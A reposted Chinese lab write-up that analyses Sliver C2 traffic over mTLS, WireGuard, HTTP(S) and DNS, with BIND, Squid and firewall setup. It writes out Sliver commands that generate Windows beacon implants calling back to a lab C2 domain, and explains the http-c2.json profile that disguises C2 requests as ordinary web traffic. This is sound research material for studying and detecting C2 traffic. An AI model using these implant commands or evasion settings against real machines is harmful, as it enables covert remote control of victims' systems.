红队工具研究篇 - Sliver C2 通信流量分析

admin 2023年7月4日19:18:38评论81 views字数 10685阅读35分37秒阅读模式

本文着重于对 Sliver C2 四种通信流量的分析研究,考虑到部分读者有复现分析的需求,简单介绍了实验环境的配置。

一、Sliver C2 协议概述

在这篇文章中,我们将关注如下4种Sliver C2协议,并研究其通信中的流量。

  1. mutual TLS (mTLS)

  2. WireGuard

  3. HTTP

  4. DNS
    前两种协议都是官方非常推荐的,而后两种则是在更为常见的场景中使用,在一些严格限制的环境中,如只允许 HTTP(S) 和 DNS 出网,那么就需要用到后两种协议。

二、mTLS 通信研究

2.1 环境配置 - DNS

为了模拟真实情况,这里除了C2服务器和受害主机,还引入了一个DNS服务器,提供域名服务。DNS服务器使用Ubuntu进行搭建,相关IP信息如下。

DNS 服务器搭建
这里将使用 BIND 实现 DNS 服务,BIND 是一套用于与域名系统(DNS)交互的软件。
首先安装工具套件

apt-get install bind9 bind9utils bind9-doc

BIND 配置文件都位于 /etc/bind 中,我们需要修改其中的 named.conf.options 文件。

#定义了一个名为"localnet"的访问控制列表,它包含了172.16.181.0/24网段中的IP地址。
acl "localnet" {
172.16.181.0/24;
};

options {
directory "/var/cache/bind";

recursion yes; # 开启递归查询,允许DNS服务器向其他DNS服务器发出查询请求
allow-recursion { localnet; }; # 指定哪些ACL可以进行递归查询

listen-on { 172.16.181.192; }; # 指定DNS服务器监听的IP地址
allow-transfer { none; }; # 禁用区域传输,防止未经授权的访问

forwarders { # 指定转发查询的DNS服务器地址
8.8.8.8;
8.8.4.4;
};

dnssec-validation auto; # 开启DNSSEC验证

listen-on-v6 { any; };
};

logging {
channel query { # DNS查询记录的配置信息
file "/var/log/bind/query" versions 5 size 10M; # 保存路径
print-time yes;
severity info; # 记录级别为info
};

category queries { query; };
};

这个配置文件中的acl "localnet"规则定义了一个名为"localnet"的访问控制列表,它包含了192.168.122.0/24网段中的IP地址。其中指定了 172.16.181.192 作为监听 IP 和配置了日志路径var/log/bind/query,其余配置在配置文件中都有详细的备注描述。

由于 AppArmor 安全模块的存在,需要做一个小的改动以允许向这个目录写入。

# 创建DNS记录日志文件夹
mkdir /var/log/bind
chown bind /var/log/bind

#
添加apparmor白名单,允许修改上述目录
gedit /etc/apparmor.d/usr.sbin.named

profile named /usr/sbin/named flags=(attach_disconnected) {
...
/var/log/bind/** rw,
/var/log/bind/ rw,
...
}

#
重新启动apparmor
systemctl restart apparmor

红队工具研究篇 - Sliver C2 通信流量分析

AppArmor是一个Linux安全模块,用于限制应用程序的行为,防止它们访问系统资源和执行恶意操作。它基于Linux内核的安全增强功能,使用类似于访问控制列表(ACL)的策略来控制应用程序的访问权限,包括文件、目录、网络端口、系统调用等。AppArmor提供了一个配置文件,可以为每个应用程序定义自己的安全策略。这些策略可以限制应用程序的权限,从而减少系统受到攻击的风险。

接下来创建一个目录用于区域文件,在配置文件 /etc/bind/named.conf.local 中指定正向反向区域

mkdir -p /etc/bind/zones

vi /etc/bind/named.conf.local

zone "labnet.local" {
type master;
file "/etc/bind/zones/db.labnet.local";
};

zone "181.16.172.in-addr.arpa" {
type master;
file "/etc/bind/zones/db.181.16.172";
};

在 /etc/bind/zones/db.labnet.local 配置,为ns.labnet.local定义了SOA和NS记录,以及所有主机的一些A记录。请注意,条目admin.labnet.local.只是一种奇怪的写法,即 [email protected] 是该区域的管理电子邮件地址。

$TTL    604800
@ IN SOA ns.labnet.local. admin.labnet.local. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL

; name servers - NS records
IN NS ns.labnet.local.

; name servers - A records
ns.labnet.local. IN A 172.16.181.192

; 172.16.181.0/24 - A records
target.labnet.local. IN A 172.16.181.177
sliver.labnet.local. IN A 172.16.181.182

为了真实环境,这里还添加了反向查询功能,在配置文件 /etc/bind/zones/db.181.16.172 修改。

$TTL    604800
@ IN SOA ns.labnet.local. admin.labnet.local. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL

; name servers
IN NS ns.labnet.local.

; PTR Records
192 IN PTR ns.labnet.local. ; 172.16.181.192
177 IN PTR target.labnet.local. ; 172.16.181.177
182 IN PTR sliver.labnet.local. ; 172.16.181.182

配置完成后,依次执行以下命令进行检查。

named-checkconf
named-checkzone labnet.local /etc/bind/zones/db.labnet.local
named-checkzone 172.16.181.in-addr.arpa /etc/bind/zones/db.181.16.172

#
重启BIND服务
systemctl restart bind9

红队工具研究篇 - Sliver C2 通信流量分析

验证效果
来到我们 C2 服务器上测试效果

kali> dig +short @172.16.181.192 target.labnet.local
172.16.181.177
kali> dig +short @172.16.181.192 -x 172.16.181.177
target.labnet.local.

在日志中可以看到查询请求

cat /var/log/bind/query

红队工具研究篇 - Sliver C2 通信流量分析

来到受害主机上,配置受害主机的 DNS 地址
红队工具研究篇 - Sliver C2 通信流量分析

2.2 mTLS 通信分析

通过域名访问,创建 Implant

generate beacon --os windows --seconds 5 --mtls sliver.labnet.local,172.16.181.182
mtls

红队工具研究篇 - Sliver C2 通信流量分析

执行 Implant 后,打开 Wireshark 抓取流量,首先在Wireshark中可以看到下面的DNS流量。显示了 Implant 通过 DNS 请求 Sliver 服务器的 IP 。
红队工具研究篇 - Sliver C2 通信流量分析

后续的数据包显示了建立TLS连接的过程,其中可以看到域名信息,这主要是由于SNI(Server Name Indication)的存在,服务器会根据SNI中的主机名来选择对应的证书和密钥,以完成TLS握手过程。SNI的引入使得服务器能够在同一IP地址和端口下支持多个域名。
其余通信信息,均已进行加密。
红队工具研究篇 - Sliver C2 通信流量分析

在后续的数据包中,可以看到 TLS 连接没有保持开放。而是经常断开连接,然后稍后重新连接,这是由于 Implant 是作 beacon 创建的。
此外,有个很有意思的点,在右边栏中可以观察到不同RST包之间存在一定间隔,非常直观。
红队工具研究篇 - Sliver C2 通信流量分析

有些情况下,DNS服务不支持,这时需要直接进行IP通信,下面分析直接通过 IP 进行访问情况
在我们的环境中,将BIND服务暂时关闭

# 关闭服务
systemctl stop bind9

#
刷新DNS缓存
ipconfig /flushdns

红队工具研究篇 - Sliver C2 通信流量分析

重新执行 Implant ,首先可以看到一些 ICMP 数据包,限制端口不可达,检查源目的IP可以发现这部分是请求DNS解析的数据包,这里DNS服务关闭了,故存在下面这些数据包。
红队工具研究篇 - Sliver C2 通信流量分析

之后数据包中,可以看到受害主机与C2服务器进行TCP三次握手,直接连接到了IP地址。然后建立TLS连接,进行C2通信,由于beacon的原因,这里也是会间隔一定时间断开重连。此外,在这个流量中没有看到SNI的DNS名称,这证实了这个连接没有使用基于DNS的连接字符串。
红队工具研究篇 - Sliver C2 通信流量分析

三、WireGuard 通信分析

环境同上一节一致

首先通过指定 --wg 参数生成 Implant,并创建对应的 WireGuard 监听器,默认监听端口为 UDP 53。

generate --os windows --wg sliver.labnet.local,172.16.181.182
wg

红队工具研究篇 - Sliver C2 通信流量分析

受害主机执行后,WireShark中同样捕获到DNS解析请求,将 Sliver.labnet.local 解析为 172.16.181.182。
红队工具研究篇 - Sliver C2 通信流量分析

之后,WireGuard连接建立完成,通过DNS上的UDP53端口进行通信。
红队工具研究篇 - Sliver C2 通信流量分析

四、HTTP(S) 通信分析

4.1 环境配置 - HTTP 代理

上述两种通信方式固然是不错的选择,但并非所有环境都允许建立mtls和wireguard连接。有时目标与外部的网络连接将被默认限制,只有选定的流量可以从内部网络中流出。例如,网络流量往往被允许,但需要通过网络代理,在那里它可能被记录和检查。在这些情况下,必须使用HTTP和HTTPS协议。

为了模拟严格的环境,只允许HTTP代理流量进出,在原先的实验环境DNS服务器上添加HTTP代理工具,这里选择 squid 工具来实现。

apt-get install squid

红队工具研究篇 - Sliver C2 通信流量分析

配置文件在 /etc/squid/squid.conf 中,为网络范围创建一个ACL,然后为这个ACL授予HTTP权限,同时配置DNS解析,以确保我们的自定义DNS服务被使用。

# 编辑配置文件
vi /etc/squid/squid.conf
...
acl labnet src 172.16.181.0/24
http_access allow labnet

dns_nameservers 172.16.181.192
...
# 启动
systemctl start squid

#
测试连通性
curl -six http://172.16.181.192:3128 https://www.baidu.com/ | head -n 5

红队工具研究篇 - Sliver C2 通信流量分析

红队工具研究篇 - Sliver C2 通信流量分析

在受害主机上配置代理
红队工具研究篇 - Sliver C2 通信流量分析
验证配置成功

Get-ItemProperty -Path 'HKCU:SoftwareMicrosoftWindowsCurrentVersionInternet Settings' | findstr ProxyServer
ProxyServer : 172.16.181.192:3128

配置防火墙进出策略
首先使用命令查看当前防火墙配置文件,这里为公用配置文件(Public)

netsh advfirewall show currentprofile
公用配置文件 设置:
----------------------------------------------------------------------
状态 启用
防火墙策略 BlockInbound,AllowOutbound
LocalFirewallRules N/A (仅 GPO 存储)
LocalConSecRules N/A (仅 GPO 存储)
InboundUserNotification 启用
RemoteManagement 禁用
UnicastResponseToMulticast 启用

日志:
LogAllowedConnections 禁用
LogDroppedConnections 禁用
FileName %systemroot%system32LogFilesFirewallpfirewall.log
MaxFileSize 4096

确定。

红队工具研究篇 - Sliver C2 通信流量分析
确认好后,此时再连接任何网站都会显示失败。
之后添加两个防火墙规则,其一是本地任何端口连接HTTP Proxy服务器的TCP3128端口。
红队工具研究篇 - Sliver C2 通信流量分析
其二就是连接DNS服务器上的UDP53端口,方法类似。

尝试访问,可以在代理日志中查询到对应的访问记录

tail -f /var/log/squid/access.log

红队工具研究篇 - Sliver C2 通信流量分析

4.2 HTTPS 通信分析

创建 Implant ,除了常规的定义方法,还可以定义具有相同域名但具有不同HTTP选项的C2端点。

generate beacon --http sliver.labnet.local,sliver.labnet.local?driver=wininet --seconds 5 --jitter 0
https
http

这里第二个域名中添加了参数driver=wininet,表示使用 [wininet](About WinINet - Win32 apps | Microsoft Learn) 驱动程序进行HTTP通信。

在Sliver中,HTTP驱动程序用于生成基于HTTP协议的beacon,并与Sliver服务器进行通信。HTTP驱动程序默认实现是纯Go实现的,但在某些情况下,纯Go实现的HTTP驱动程序可能无法正常工作,例如在使用某些代理服务器或防火墙时。此时,Sliver会尝试使用"wininet"驱动程序,该驱动程序依赖于本地Windows WinInet API。这个驱动程序通常比纯Go实现的HTTP驱动程序更可靠,因为它使用操作系统提供的底层网络功能,可以更好地处理一些复杂的网络环境。

执行恶意程序并捕获流量,在第一次的连接中显示400,这是由于内置的http驱动程序无效导致的。
红队工具研究篇 - Sliver C2 通信流量分析
等待一会后,会捕获到后续的TCP连接数据,在第17个TCP流中可以查看到返回状态码200。表明成功建立了HTTP连接。
分析其中的数据包,为数不多可见的字符串就是CONNECT字段,表示与 sliver.labnet.local 建立了连接,其余大部分字段都进行了加密处理,没有过多的信息。
红队工具研究篇 - Sliver C2 通信流量分析

4.3 HTTP 通信分析

由于Sliver实现了自己的传输加密方案,所有通过HTTP等纯文本通道发送的数据将无法读取,因此从保密的角度来看,使用HTTP或HTTPS并不重要。
在https和http监听器同时开启的情况下,优先连接https,因此在本节的实验中,先将之前的https监听器关闭,方可捕获到http通信流量。

# 删除指定监听器
jobs
jobs -k 5

接下来执行 HTTP Beacon,一段时间后上线C2,捕获到如下流量:
红队工具研究篇 - Sliver C2 通信流量分析
首先要注意的是,请求和响应包中都包含了不可读数据(上图红框中),这些数据是加密的,使用了随机编码方式(base64、hex、gzip等),其中就包括我们 command 和 control 数据和返回的信息,这就是基于http通信控制目标的核心所在!

更近一步分析,我们可以看到请求数据包中不仅只有POST,还有GET请求包。其中每个请求都和真实请求相似,使用了一些路径和文件名来进行混淆迷惑,如/oauth/db/samples.php、javascript/script/jquery.js等,这部分由**C2侧写配置文件(http-c2.json)**来控制,将会在下一节介绍~

除此之外,所有的GET和POST请求在URL中都有一个查询参数(?s=22f926a944),其名称是一个随机选择的字符,其值也是一个随机字符串。这些随机参数引入的其中一个原因在于绕过浏览器缓存机制,如果多次发送相同的请求,服务器会返回缓存的响应,这就可能会导致C2的失效中断!另一个原因将在下一节介绍。
红队工具研究篇 - Sliver C2 通信流量分析
最后,我们可以在代理服务器日志中查看访问信息
红队工具研究篇 - Sliver C2 通信流量分析

4.4 C2 HTTP 通信配置

C2 http 通信配置文件位于 /root/.sliver/configs/http-c2.json,下面拆分解释下
implant_config 部分是配置Implant使用HTTP进行通信过程中,交互、轮询使用到的一些文件名、路径等,用于混淆C2流量,欺骗目标主机。

    "implant_config": {
"user_agent": "",
"chrome_base_version": 100, # 浏览器版本号
"macos_version": "10_15_7",
"url_parameters": null, # 表示HTTP请求中的URL参数,用于传递额外的信息或数据
"headers": null, # 其他头部信息
"max_files": 8, # 请求中最大文件数
"min_files": 2,
"max_paths": 8, # 请求中最大路径数
"min_paths": 2,
"stager_file_ext": ".woff", # stager文件的扩展名(.woff字体文件扩展名)
"poll_file_ext": ".js", # 使用JavaScript文件进行C2服务器轮询
"poll_files": [ # 指定Sliver轮询C2服务器时要使用的文件
"jquery.min",
"app",
"email",
......
],
"poll_paths": [ # 指定Sliver轮询C2服务器时要使用的路径
"js",
"script",
"assets",
......
],
"start_session_file_ext": ".html", # 指定Sliver启动会话时使用到的文件扩展名
"session_file_ext": ".php", # 表示会话文件的扩展名
"session_files": [ # 表示Sliver生成会话文件时使用的文件名
"login",
"signin",
......
],
"session_paths": [ # 指定会话文件的路径
"php",
"api",
......
],
"close_file_ext": ".png", # 表示关闭会话时使用的文件扩展名
"close_files": [ # 指定Sliver在关闭会话时要使用的文件名
"favicon",
......
],
"close_paths": [ # 指定关闭会话时使用的路径
"static",
"www",
......
]
},

server_config 这部分就是配置C2服务器上响应包的信息

    "server_config": {
"random_version_headers": false, # 随机生成版本号作为请求头
"headers": [], # 自定义头部
"cookies": [ # 自定义cookie列表
"PHPSESSID",
"SID",
"SSID",
"APISID",
"csrf-state",
"AWSALBCORS"
]
}

4.5 进一步流量分析

继续深入研究,HTTP流量信息如何通过上述配置文件产生,以 Beacons HTTP 为例:

  1. 使用beacon.Init()初始化beacon主循环,其中beacon会与服务器交换一个密钥,用于对数据进行加密。它使用一个以start_session_file_ext值结尾的URI的POST请求来完成,如C2配置文件中指定的。默认该值是.html。
    红队工具研究篇 - Sliver C2 通信流量分析

  2. Beacon 使用beacon.Send()进行注册操作。它使用一个POST请求,其中的URI由C2配置(代码)中的 session_paths、session_files 和 session_file_ext 值指定。
    红队工具研究篇 - Sliver C2 通信流量分析

  3. 注册后,beacon 进入执行循环中,在定义的时间间隔内,它将首先发送一个检查(POST),然后接收一些信息(GET),POST请求同上,而GET请求由poll_paths、poll_files和poll_file_ext值指定。
    红队工具研究篇 - Sliver C2 通信流量分析

  4. 最后当beacon关闭时,会发送一个GET请求,其中的内容由close_paths, close_files和close_file_ext值指定。(测试时并没有产生。。)
    红队工具研究篇 - Sliver C2 通信流量分析

不难发现,上述请求url都带有随机参数(?x=78310l399),如上一节所述,其中一个原因是破坏内存,另一原因就是确定数据的编码方式,参考源码。如果不带参数,C2服务器将会忽略。

func RandomEncoder() (int, Encoder) {
keys := make([]int, 0, len(EncoderMap))
for k := range EncoderMap {
keys = append(keys, k)
}
encoderID := keys[insecureRand.Intn(len(keys))]
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
return nonce, EncoderMap[encoderID]
}

这里随机选择一个编码器,并生成一个随机数nonce作为加密密钥,用于保护数据传输的安全性。在Sliver中,编码器是用于对数据进行加密和解密的组件,nonce则是加密密钥的一种生成方式。通过随机选择编码器和生成nonce,可以增加数据传输的安全性和难度。

五、DNS C2 通信研究

5.1 环境配置 - DNS

基于之前 2.1 节的DNS配置,这部分添加一个NS记录 dnsc2.labnet.local,指向sliver.labnet.local。首先在 named.conf.local 配置文件中设置将在本地服务器进行递归解析,而不是发给上游服务器。

vi /etc/bind/named.conf.local

zone "labnet.local" {
type master;
file "/etc/bind/zones/db.labnet.local";
forwarders {};
};

zone "181.16.172.in-addr.arpa" {
type master;
file "/etc/bind/zones/db.181.16.172";
};

后在区域配置文件中 /etc/bind/zones/db.labnet.local 添加子域名解析NS记录

vi /etc/bind/zones/db.labnet.local

...
; delegate subdomain
dnsc2.labnet.local. 360 IN NS sliver.labnet.local.

最后重启服务,并验证效果,如下图所示为配置成功。

# Proxy代理服务器上执行
systemctl restart named.service
tail -f /var/log/bind/query

#
kali中监听
tcpdump -ni any udp and port 53

#
在受害主机中查询
nslookup.exe prefix.dnsc2.labnet.local

红队工具研究篇 - Sliver C2 通信流量分析

5.2 DNS 通信分析

工作原理:在子域名中填充编码数据,向恶意DNS服务器发送该子域的查询。

同样,也是先创建监听器,不同于之前的创建方式,这里需要指定监听的域名。官方建议使用FQDN(完全限定域名),因此在一个域名最后添加一个点.,表示根域名

dns -d dnsc2.labnet.local.

红队工具研究篇 - Sliver C2 通信流量分析
生成 DNS beacon ,指定域名并设定回连间隔为10秒

generate beacon --dns dnsc2.labnet.local --seconds 10 --jitter 0 

执行后,在WireShark中记录了beacon产生的流量。其中有很多对dnsc2.labnet.local的子域的A记录的DNS查询,以及一个TXT记录的查询。
红队工具研究篇 - Sliver C2 通信流量分析
深入分析原理,当Implant向服务器发送数据时,会在子域名中填充编码后的数据,然后发送给目标DNS服务器,而服务器向Implant发送数据时会使用TXT查询,将数据返回给Implant。但由于域名长度限制为254字符(包括子域名和根域名),而每个子域名最大长度为63个字符,因此不建议进行大文件上传下载操作。(理想速率:30Kbps)

进一步,根据官方文档,这里的编码方式主要有两种:Base32和Base58。由于DNS是一个对大小写不敏感的协议,Base32对大小写不敏感,可以直接使用;Base58对大小写敏感,但其速度更快。所以默认情况下 Sliver 会首先验证Base58能否使用,否则使用Base32。当然如果想指定编码,可以使用如下命令:

generate beacon --dns dnsc2.labnet.local?force-base32=True

Sliver C2 DNS 通信在设计中在隐蔽性和速度上选择了后者(两者不可兼得),如果做的太隐蔽会在速度上大打折扣,对实际使用非常不友好。然而,在实际场景中,除非有专门的检测DNS C2工具或蓝队人员,一般都不会对DNS流量进行监测,所以设计上偏向于在传输速度这一方面。

最后在 DNS 日志中记录了响应的通信流量
红队工具研究篇 - Sliver C2 通信流量分析

六、后记

断断续续研究了几天,在自建环境中由浅入深分析了Sliver C2中4种协议通信的过程,涉及到命令和数据是如何在服务器和植入木马中进行通信传输、隐蔽交互的。后续可能还会补充这些通信协议在源码中的实现解读,有点硬核但很有趣。

转载:https://forum.butian.net/share/2252作者:xigua欢迎大家去关注作者


欢迎师傅加入安全交流群(qq群:611901335),或者后台回复加群

如果想和我一起讨论,欢迎加入我的知识星球!!!

红队工具研究篇 - Sliver C2 通信流量分析


扫描下图加入freebuf知识大陆

红队工具研究篇 - Sliver C2 通信流量分析


师傅们点赞、转发、在看就是最大的支持


后台回复知识星球或者知识大陆也可获取加入链接(两个加其一即可)


原文始发于微信公众号(星冥安全):红队工具研究篇 - Sliver C2 通信流量分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月4日19:18:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队工具研究篇 - Sliver C2 通信流量分析https://cn-sec.com/archives/1853087.html

发表评论

匿名网友 填写信息